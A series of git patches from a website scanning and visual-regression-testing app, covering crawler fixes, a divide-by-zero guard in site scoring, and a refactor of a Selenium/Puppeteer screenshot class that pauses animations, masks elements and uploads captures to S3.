+    # get any schedules
+    if page is not None:
+        schedules = Schedule.objects.filter(page=page)
+    if site is not None:
+        schedules = Schedule.objects.filter(site=site)
+    # remove any associated tasks
+    for schedule in schedules:
+        task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+        task.delete()
+    return
+
+
 
 
 def create_or_update_automation(request):

From fbfd25b14628a834e0dc2d5c51f2a28b492c6934 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 17 Aug 2023 23:07:55 -0500
Subject: [PATCH 0130/1099] trying to fix crawler issues

---
 app/api/utils/crawler.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 558b7f6d..68a9e211 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -33,7 +33,7 @@ def url_is_valid(url):
                 '.webp', '.tiff', '.tif', '.psd', '.ps',
                 '.ico', '.gif', '.bmp'
             ]
-            if not (url.startswith(self.url) or url.startswith('/')):
+            if not url.startswith(self.url) and not url.startswith('/'):
                 return False
             for bad_str in bad_str_list:
                 if bad_str in url:

From 4f3c89393ec192ff6bfe311c313e7424cb88507a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 17 Aug 2023 23:12:36 -0500
Subject: [PATCH 0131/1099] fixed divide by zero error

---
 app/api/utils/scanner.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 1f7bb657..3dff8362 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -238,8 +238,9 @@ def update_site_info(scan):
                 scans.append(_scan.yellowlab['scores']['globalScore'])
     
     # calc average score
-    score = sum(scans)/len(scans)
-    
+    if len(scans) > 0:
+        score = sum(scans)/len(scans)
+        
     if score != 0:
         if score >= 75:
             health = 'Good'

From 7a2c7d401c4230bcb9028bfcb49aedbd9e283987 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 18 Aug 2023 13:48:46 -0500
Subject: [PATCH 0132/1099] fixed crawler issues

---
 app/api/utils/crawler.py | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 68a9e211..18a09851 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,5 +1,6 @@
 import requests
 from bs4 import BeautifulSoup
+from .driver_s import driver_init, quit_driver
 
 
 
@@ -10,6 +11,7 @@ def __init__(self, url=None, sitemap=None, max_urls=25):
         self.url = url
         self.sitemap = sitemap
         self.max_urls = max_urls
+        self.driver = driver_init()
 
     
     def get_links(self):
@@ -45,8 +47,8 @@ def url_is_valid(url):
 
         
         def add_urls(start_url):
-            reqs = requests.get(start_url)
-            soup = BeautifulSoup(reqs.text, 'html.parser')
+            self.driver.get(start_url)
+            soup = BeautifulSoup(self.driver.page_source, 'html.parser')
             for link in soup.find_all('a'):
                 url = link.get('href')
                 if url is not None:
@@ -54,10 +56,12 @@ def add_urls(start_url):
                         if url.startswith('/'):
                             url = self.url + url
                         # check status of page
-                        if requests.get(url).status_code == 200:
+                        req_status = requests.get(url).status_code
+                        bad_status = [404, 500, 301]
+                        if not (req_status in bad_status):
                             if url.endswith('/'):
                                 url = url.rstrip('/')
-                            if not url in follow_urls and '#' not in url:
+                            if not (url in follow_urls):
                                 follow_urls.append(url)
             
         # layer 0
@@ -74,7 +78,7 @@ def add_urls(start_url):
                     print('max pages reached')
                     break
 
-        
+        quit_driver(self.driver)
         return crawled_urls
 
 

From c3ff201dfb6c17a9079d60d96f3c43fbe5ff7345 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 20 Aug 2023 14:05:19 -0500
Subject: [PATCH 0133/1099] added 'frame_by_frame' params

---
 app/api/utils/image.py | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 3e63ba42..4b6ff3cc 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -248,7 +248,6 @@ def scan_full(self, scan, configs, driver=None,):
             driver = driver_init()
             driver_present = False
 
-
         # request page_url 
         driver.get(page.page_url)
 
@@ -261,9 +260,10 @@ def scan_full(self, scan, configs, driver=None,):
         )
 
         # getting full_page_height
-        full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-        sizes = configs.get('window_size', '1920,1080').split(',')
-        driver.set_window_size(int(sizes[0]), int(full_page_height))
+        if configs.get('frame_by_frame') == False:
+            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+            sizes = configs.get('window_size', '1920,1080').split(',')
+            driver.set_window_size(int(sizes[0]), int(full_page_height))
 
 
         if configs.get('disable_animations') == True:
@@ -315,7 +315,6 @@ def scan_full(self, scan, configs, driver=None,):
 
             # scroll single frame
             if index != 0:
-                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
                 time.sleep(int(configs.get('min_wait_time', 10)))
 
@@ -750,7 +749,10 @@ def get_page():
         site = await get_site()
         _page = await get_page()
 
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=int(configs.get('max_wait_time', 30)))
+        driver = await driver_init_p(
+            window_size=configs.get('window_size', '1920,1080'), 
+            wait_time=int(configs.get('max_wait_time', 30))
+        )
         page = await driver.newPage()
 
         sizes = configs.get('window_size', '1920,1080').split(',')
@@ -766,12 +768,14 @@ def get_page():
         # requesting page_url to get height of 
         await page.goto(_page.page_url, page_options)
 
-        # getting full_page_height
-        full_page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+        # getting full page_height
+        page_height = int(sizes[1])
+        if configs.get('frame_by_frame') == False:
+            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
 
         viewport = {
             'width': int(sizes[0]),
-            'height': int(full_page_height),
+            'height': int(page_height),
             'isMobile': is_mobile,
         }
         

From 7aa75577f7b1f4b5a4894666d3afa198db31e6d3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 22 Aug 2023 22:04:59 -0500
Subject: [PATCH 0134/1099] "auto_height" param, and auto image cropping in

---
 app/api/utils/image.py   | 1234 +++++++-------------------------------
 app/api/utils/scanner.py |   12 +-
 2 files changed, 207 insertions(+), 1039 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 4b6ff3cc..02b4d977 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -24,29 +24,49 @@ class Image():
     High level Image handler used to compare screenshots of
     a website and retrieve single one-page screenshots. 
     Also known as VRT or Visual Regression Testing.
-    Contains five methods scan(), scan_p(), test(), 
-    screenshot(), and screenshot_p(). The _p appendage
-    denotes using Puppeteer as the webdriver:
+    Contains three methods scan_s(), scan_p(), test(). 
+    The _p appendage denotes using Puppeteer as the webdriver
+    and the _s appendage denotes using Selenium as the webdriver:
 
-        def scan(site, driver=None) -> grabs multiple 
-            screenshots of the website and uploads 
-            them to s3.
+        def scan_s(driver=None) -> using selenium
+            grabs multiple screenshots of the website 
+            and uploads them to s3.
 
+        def scan_p() -> using puppeteer
+            grabs multiple screenshots of the website 
+            and uploads them to s3.
 
         def test(test=<test:object>) -> compares each 
             screenshot in the two scans and records 
             a score out of 100%
 
+    """
 
-        def screeshot(site, driver=None) -> grabs single 
-            screenshot of the site and uploads it to s3
 
-    """
+    def __init__(self, scan, configs):
 
+        # main scan object
+        self.scan = scan
 
-    def __init__(self):
+        # main configs object
+        self.configs = configs
         
+        # main image_array for scans
+        self.image_array = []
+        
+        # setup boto3 configurations
+        self.s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
         # scripts
+        self.pause_video_script = (
+            "const video = document.querySelectorAll('video').forEach(vid => vid.pause());"
+        )
+
         self.set_jquery = (
             """
             var jq = document.createElement('script');
@@ -55,6 +75,14 @@ def __init__(self):
             """
         )
 
+        self.pause_animations_script = (
+            """
+            const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');
+            const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');
+            styleElement.appendChild(styleTagCSSes);
+            document.head.appendChild(styleElement);
+            """
+        )
 
 
 
@@ -64,7 +92,6 @@ def check_timeout(self, timeout, start_time):
         
         returns -> True if timeout exceeded
         """
-
         current = datetime.now()
         diff = current - start_time
         if diff.total_seconds() >= timeout:
@@ -76,297 +103,51 @@ def check_timeout(self, timeout, start_time):
 
 
 
-
-
-    def scan(self, scan, configs, driver=None,):
+    def add_images(self, im1, im2):
         """
-        Grabs multiple screenshots of the website and uploads 
-        them to s3.
+        Joins img1 and im2 vertically and saves as "new_img"
+        
+        Returns -> new_img <Image>
         """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        page = scan.page
-
-        # initialize driver if not passed as param
-        driver_present = True
-        if not driver:
-            driver = driver_init()
-            driver_present = False
-
-
-        # request page_url 
-        driver.get(page.page_url)
-
-        # waiting for network requests to resolve
-        driver_wait(
-            driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
-        )
-
-
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
-                
-            # inserting video pausing scripts
-            try:
-                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
-            except:
-                print('cannnot pause videos')
-
-        # mask all listed ids        
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
+        im1 = I.open(im1)
+        im2 = I.open(im2)
+        new_img = I.new('RGB', (im1.width, im1.height + im2.height))
+        new_img.paste(im1, (0, 0))
+        new_img.paste(im2, (0, im1.height))
+        return new_img
         
-        # mask all Global mask ids that are active
-        active_masks = Mask.objects.filter(active=True)
-        if len(active_masks) != 0:
-            for mask in active_masks:
-                try:
-                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via global mask id provided')
-
-
-        # scroll one frame at a time and capture screenshot
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
-                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-                
-                # waiting for network requests to resolve
-                driver_wait(
-                    driver=driver, 
-                    interval=int(configs.get('interval', 5)),  
-                    min_wait_time=int(configs.get('min_wait_time', 10)),
-                    max_wait_time=int(configs.get('max_wait_time', 30)),
-                )
-
-                # get screenshot
-                driver.save_screenshot(f'{pic_id}.png')
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-        if not driver_present:
-            quit_driver(driver)
-
-        return image_array
-
-
-
-
 
 
-
-    def scan_full(self, scan, configs, driver=None,):
+    
+    def save_image(self, pic_id, image):
         """
-        Grabs full length screenshots of the website and uploads 
-        them to s3.
+        Upload image to s3, save info as image_obj,
+        add image_obj to image_array, & remove image file
         """
+        remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
+        root_path = settings.AWS_S3_URL_PATH
+        image_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(image, 'rb') as data:
+            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+            )
+    
+        # create image obj and add to list
+        img_obj = {
+            "index": 0,
+            "id": str(pic_id),
+            "url": image_url,
+            "path": remote_path,
+        }
+        self.image_array.append(img_obj)
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        page = scan.page
-
-        # initialize driver if not passed as param
-        driver_present = True
-        if not driver:
-            driver = driver_init()
-            driver_present = False
-
-        # request page_url 
-        driver.get(page.page_url)
-
-        # waiting for network requests to resolve
-        driver_wait(
-            driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
-        )
-
-        # getting full_page_height
-        if configs.get('frame_by_frame') == False:
-            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-            sizes = configs.get('window_size', '1920,1080').split(',')
-            driver.set_window_size(int(sizes[0]), int(full_page_height))
-
-
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
-                
-            # inserting video pausing scripts
-            try:
-                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
-            except:
-                print('cannnot pause videos')
-
-        # mask all listed ids        
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
+        print(f'adding {img_obj["url"]} to image_array')
         
-        # mask all Global mask ids that are active
-        active_masks = Mask.objects.filter(active=True)
-        if len(active_masks) != 0:
-            for mask in active_masks:
-                try:
-                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via global mask id provided')
-
-
-        # scroll one frame at a time and capture screenshot
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-                
-                # waiting for network requests to resolve
-                driver_wait(
-                    driver=driver, 
-                    interval=int(configs.get('interval', 5)),  
-                    min_wait_time=int(configs.get('min_wait_time', 10)),
-                    max_wait_time=int(configs.get('max_wait_time', 30)),
-                )
-
-                # get screenshot
-                driver.save_screenshot(f'{pic_id}.png')
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-        if not driver_present:
-            quit_driver(driver)
+        # remove local copy
+        os.remove(image)
 
-        return image_array
 
 
 
@@ -374,479 +155,74 @@ def scan_full(self, scan, configs, driver=None,):
 
 
 
-    def _scan(self, scan, configs, driver=None,):
+    def scan_s(self, driver=None):
         """
-        Grabs multiple screenshots of the website and uploads 
-        them to s3 as one package.
+        Grabs full length screenshots of the website and uploads 
+        them to s3.
         """
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        page = scan.page
-
         # initialize driver if not passed as param
         driver_present = True
         if not driver:
             driver = driver_init()
             driver_present = False
 
-
         # request page_url 
-        driver.get(page.page_url)
+        driver.get(self.scan.page.page_url)
 
         # waiting for network requests to resolve
         driver_wait(
             driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
+            interval=int(self.configs.get('interval', 5)),  
+            min_wait_time=int(self.configs.get('min_wait_time', 10)),
+            max_wait_time=int(self.configs.get('max_wait_time', 30)),
         )
 
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
+        # defining browser demesions
+        sizes = self.configs.get('window_size', '1920,1080').split(',')
 
-            # inserting video pausing scripts
-            try:
-                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
-            except:
-                print('cannnot pause videos')
-            
-
-        # mask all listed ids        
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
-        
-        # mask all Global mask ids that are active
-        active_masks = Mask.objects.filter(active=True)
-        if len(active_masks) != 0:
-            for mask in active_masks:
-                try:
-                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via global mask id provided')
-
-        
-        # vertically concats two images
-        def add_images(im1, im2):
-            im1 = I.open(im1)
-            im2 = I.open(im2)
-            new_img = I.new('RGB', (im1.width, im1.height + im2.height))
-            new_img.paste(im1, (0, 0))
-            new_img.paste(im2, (0, im1.height))
-            return new_img
-
-
-        # scroll one frame at a time and capture screenshot
-        final_img = None
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
-                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-                
-                # waiting for network requests to resolve
-                driver_wait(
-                    driver=driver, 
-                    interval=int(configs.get('interval', 5)),  
-                    min_wait_time=int(configs.get('min_wait_time', 10)),
-                    max_wait_time=int(configs.get('max_wait_time', 30)),
-                )
-
-                # get screenshot
-                driver.save_screenshot(f'{pic_id}.png')
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-
-                # adding new image to bottom of existing image (if not index = 0)
-                pic_id_2 = uuid.uuid4()
-                if index != 0 and final_img is not None:
-                    add_images(final_img, image).save(f'{pic_id_2}.png')
-                    os.remove(final_img)
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                else:
-                    I.open(image).save(f'{pic_id_2}.png')
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                
-                # remove local copy
-                os.remove(image)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-
-        remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id_2}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(final_img, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-       
-
-        # create image obj and add to list
-        img_obj = {
-            "index": 0,
-            "id": str(pic_id_2),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        image_array.append(img_obj)
-        
-        # remove local copy
-        os.remove(final_img)
-
-        if not driver_present:
-            quit_driver(driver)
-
-        return image_array
-
-
-
-
-
-
-    async def scan_p(self, scan, configs):
-        """
-        Using Puppeteer, grabs multiple screenshots of the website and uploads 
-        them to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        _page = scan.page
-
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
-        page = await driver.newPage()
-
-        sizes = configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if configs.get('device') == 'mobile':
-            is_mobile = True
-        
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': configs.get('max_wait_time', 30)*1000
-        }
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
-
-        # requesting page_url
-        await page.goto(_page.page_url, page_options)
-
-        
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
-
-            # pausing videos
-            try:
-                videos = await page.querySelectorAll('video')
-                for vid in videos:
-                    await page.evaluate('(vid) => vid.pause()', vid)
-            except Exception as e:
-                print(e)
-
-
-        # mask all listed ids
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
-
-        # mask all Global mask ids that are active
-        @sync_to_async
-        def get_active_global_masks():
-            masks = Mask.objects.filter(active=True)
-            active_masks = []
-            if len(masks) > 0:
-                for mask in masks:
-                    active_masks.append(mask.id)
-            return active_masks
-
-        active_masks = await get_active_global_masks()
-
-        for mask in active_masks:
-            try:
-                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
-                print('masked an element')
-            except:
-                print('cannot find element via global mask id provided')
-
-
-        # scroll one frame at a time and capture screenshot
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-
-                # interact with and wait for page to load
-                await page.mouse.move(0, 0)
-                await page.mouse.move(0, 100)
-                time.sleep(int(configs.get('min_wait_time', 10)))
-                
-            
-                # get screenshot
-                await page.screenshot({'path': f'{pic_id}.png'})
-
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-        
-        await driver.close()
-
-        return image_array
-
-
-
-
-
-
-    async def scan_p_full(self, scan, configs):
-        """
-        Using Puppeteer, grabs full length screenshots of the website and uploads 
-        them to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        @sync_to_async
-        def get_site():
